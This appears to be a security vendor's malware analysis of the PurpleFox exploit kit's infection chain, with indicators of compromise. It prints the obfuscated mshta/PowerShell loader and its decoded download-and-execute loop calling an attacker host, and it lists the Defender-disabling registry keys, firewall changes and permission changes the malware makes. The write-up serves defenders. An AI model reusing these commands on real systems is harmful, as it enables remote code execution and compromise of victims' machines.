The following image represents the compromise schema we observed during our analysis:<\/p>\n\n\n\n An Exploit Kit<\/strong> is a toolkit of offensive instruments used by threat actors to compromise workstations during Internet browsing. The kit typically exploits vulnerabilities in browsers<\/strong> and software such as Adobe Flash<\/strong>, Java<\/strong>, and Microsoft Silverlight<\/strong>.<\/span><\/p>\n PurpleFox<\/strong> is an exploit kit designed to execute PowerShell code for downloading rootkit malware. First identified in 2018, the following is a list of technical articles addressing this threat:<\/p>\n As observed in previous analyses, the attack originates during navigation to the web page hxxp:\/\/speedjudgmentacceleration[.]com .<\/p>\n By exploiting an Adobe Flash<\/em> vulnerability, the workstation compromise chain is initiated via the command:<\/p>\n Base64 decoding yields:<\/p>\n This command executes a download (10 attempts) and launches additional malicious code hosted at hxxp:\/\/rawcdn[.]githack[.]cyou\/up[.]php?key=1 containing further instructions for the final payload.<\/p>\n\n\n\n The script begins by defining a new type within which the MsiInstallProduct<\/strong> and MsiSetInternalUI<\/strong> functions from the msi.dll<\/strong> library are imported, necessary for malware installation and suppression of the installation pop-up.<\/p>\n\n\n\n Subsequently, the script defines a command block that will be converted to a string and base64-encoded. The command set is used to download and install, via MsiInstallProduct<\/strong>, one of two resources present in $msipathALL<\/strong>. The entire operation is placed in a loop that terminates only when the registry value Both resources, despite presenting different file extensions, are identical MSI<\/strong> files (same hash). This is the final payload<\/em> for endpoint compromise:<\/p>\n\n\n\n Before executing the encoded command through a new PowerShell call, the malware verifies possession of administrative privileges:<\/span><\/p>\n\n\n\n Upon failure, based on system architecture, scripts containing exploits are downloaded and executed to perform local privilege escalation<\/strong><\/em> activities (T1548.004).<\/p>\n\n\n\n <\/p>\n\n\n The rootkit is downloaded from the URLs:<\/p>\n As previously highlighted, both files are the same dropper<\/strong> in the form of an MSI<\/strong> installer<\/em> that, during the installation process, creates the following files on the system:<\/p>\n The MSI malware<\/em>, after saving the two files, performs several modifications to the system registry:<\/p>\n Finally, the malware applies modifications to the system firewall (TCP and UDP ports) and alters permissions on jscript.dll<\/strong> and cscript.exe<\/strong>. Detection of such registry and file system alterations through Managed Detection and Response<\/a> capabilities enables rapid identification of post-exploitation persistence mechanisms (T1547.001, T1112).<\/p>\n\n\n\n The malware concludes its activities by executing the command: <\/p>\n\n\n\n which consists of a system restart after 15 minutes, forcing execution of the sens.dll<\/strong> library upon reboot.<\/p>\n This library proves central to persistence and control of the compromised system. By exploiting service creation, the malware is launched with the creation of an svchost<\/strong> process and subsequent injection of the shellcode<\/strong>.<\/p>\n\n\n\n![\"\"](\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/PurpleFox-flow-1024x269.png\")
<\/figure>\n\n\n\nExploit Kit & Purple Fox<\/h2>\n\n\n\n
\n
The Compromise Chain<\/h2>\n\n\n\n
1. Compromise Initiation<\/h3>\n\n\n\n
mshta vbscript:createobject(\"wscript.shell\").run(\"PowerShell -nop -windowstyle hidden -exec bypass -EncodedCommand DQAKAGYAbwByACgAJABpAD0AMQA7ACQAaQAgAC0AbABlACAAMQAwADsAJABpACsAKwApAA0ACgB7AA0ACgBpAGUAeAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBhAHcAYwBkAG4ALgBnAGkAdABoAGEAYwBrAC4AYwB5AG8AdQAvAHUAcAAuAHAAaABwAD8AawBlAHkAPQAxACIAKQANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMQA4ADAADQAKAH0ADQAKAA==\",0)(window.close)<\/code><\/p>\nfor($i=1;$i -le 10;$i++) { iex(new-object net.webclient).downloadstring(\"http:\/\/rawcdn.githack.cyou\/up.php?key=1\") Start-Sleep 180 }<\/span><\/code><\/p>\n2. System Modifications and Controls<\/h3>\n\n\n\n
![\"\"](\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img1-300x106.png\")
<\/figure><\/div>\n\n\n\nHKCU:\\Software\\7-Zip\\StayOnTop<\/code> is found.<\/p>\n\n\n\n![\"\"](\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img2-300x65.png\")
<\/figure><\/div>\n\n\n\n![\"\"](\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img3-300x8.png\")
<\/figure><\/div>\n\n\n\n![\"\"](\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img4-300x8.png\")
<\/figure><\/div>\n\n\n\nSHA-256<\/strong><\/code> d88ce4ccca6bc536dd3b80374be5e3f5ec9ffd96dc122352386dd4ca9af01cfc<\/code><\/p>\n\n\n\n3. Administrative privilege verification<\/h3>\n\n\n\n
![\"\"](\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img6-300x31.png\")
<\/figure><\/div>\n\n\n\nx32<\/strong><\/code> hxxp:\/\/rawcdn[.]githack[.]cyou\/up[.]php?key=3<\/code>x64<\/code><\/strong> hxxp:\/\/rawcdn[.]githack[.]cyou\/up[.]php?key=4<\/code><\/p>\n\n\n\n![\"\"](\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img5-300x23.png\")
<\/figure><\/div>\n\n\n\n![\"\"](\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img7-300x127.png\")
<\/figure><\/div>\n\n\n\n4. The role of the MSI file<\/h3>\n\n\n
\n
hxxp:\/\/rawcdn[.]githack[.]cyou\/up.php?key=2<\/code><\/li>\nhxxp:\/\/rawcdn[.]githack[.]com\/x7hGFE28oiG8kDre\/BGuoFr0ACb9E0frq\/afb90fd8276b3530cf1e526e60f8e1d61077e2a5\/M001.jpg<\/code><\/li>\n<\/ul>\n\n
\n
HKCU:\\Software\\7-Zip\\StayOnTop<\/code> which will be used as a control to verify successful installation<\/li>\nHKCU\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware
HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware<\/code><\/li>\nHKLM\\System\\CurrentControlSet\\Control\\SessionManager\\PendingFileRenameOperations<\/code>\\??\\C:\\Windows\\AppPatch\\Acpsens.dll, ,<\/code>\\??\\C:\\Windows\\system32\\sens.dll, \\??\\C:\\Windows\\AppPatch\\Acpsens.dll,<\/code>\\??\\C:\\Windows\\system32\\sens.dll, ,<\/code>\\??\\C:\\Windows\\.xml, \\??\\C:\\Windows\\system32\\sens.dll,<\/code>\\??\\C:\\Windows\\AppPatch\\Ke583427.xsl, ,<\/code>\\??\\C:\\Windows\\.ini, \\??\\C:\\Windows\\AppPatch\\Ke583427.xsl<\/code><\/li>\n<\/ul>\n\n\n\n5. System modifications<\/h3>\n\n\n\n
\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filterlist name=Filter1<\/code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP<\/code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP<\/code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=2222 protocol=TCP<\/code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=3333 protocol=TCP<\/code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=4444 protocol=TCP<\/code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=5555 protocol=TCP<\/code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=6666 protocol=TCP<\/code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=8888 protocol=TCP<\/code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9000 protocol=TCP<\/code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9999 protocol=TCP<\/code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1<\/code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static set policy name=qianye assign=y<\/code>
\"C:\\Windows\\SysWOW64\\takeown.exe\" \/f C:\\Windows\\system32\\jscript.dll<\/code>\"C:\\Windows\\SysWOW64\\cacls.exe\" C:\\Windows\\system32\\jscript.dll \/E \/P everyone:N<\/code>\"C:\\Windows\\SysWOW64\\takeown.exe\" \/f C:\\Windows\\syswow64\\jscript.dll<\/code>\"C:\\Windows\\SysWOW64\\cacls.exe\" C:\\Windows\\syswow64\\jscript.dll \/E \/P everyone:N<\/code>\"C:\\Windows\\SysWOW64\\takeown.exe\" \/f C:\\Windows\\system32\\cscript.exe<\/code>\"C:\\Windows\\SysWOW64\\cacls.exe\" C:\\Windows\\system32\\cscript.exe \/E \/P everyone:N<\/code>\"C:\\Windows\\SysWOW64\\takeown.exe\" \/f C:\\Windows\\syswow64\\cscript.exe<\/code>\"C:\\Windows\\SysWOW64\\cacls.exe\" C:\\Windows\\syswow64\\cscript.exe \/E \/P everyone:N<\/code> <\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Start-Sleep -Seconds 900; Restart-Computer -Force<\/code> <\/p>\n\n\n\nIndicators of Compromise<\/h2>\n\n\n\n
SHA-256<\/h3>\n\n\n\n
\n
d88ce4ccca6bc536dd3b80374be5e3f5ec9ffd96dc122352386dd4ca9af01cfc<\/code> MSI installer<\/strong><\/p>\n<\/li>\n9845e02032d02130bde3ffe2a16ec9706893aa9c8db5712beed6f129a74ffb35<\/code> sens.dll (x64)<\/strong> – VirusTotal<\/a><\/p>\n<\/li>\n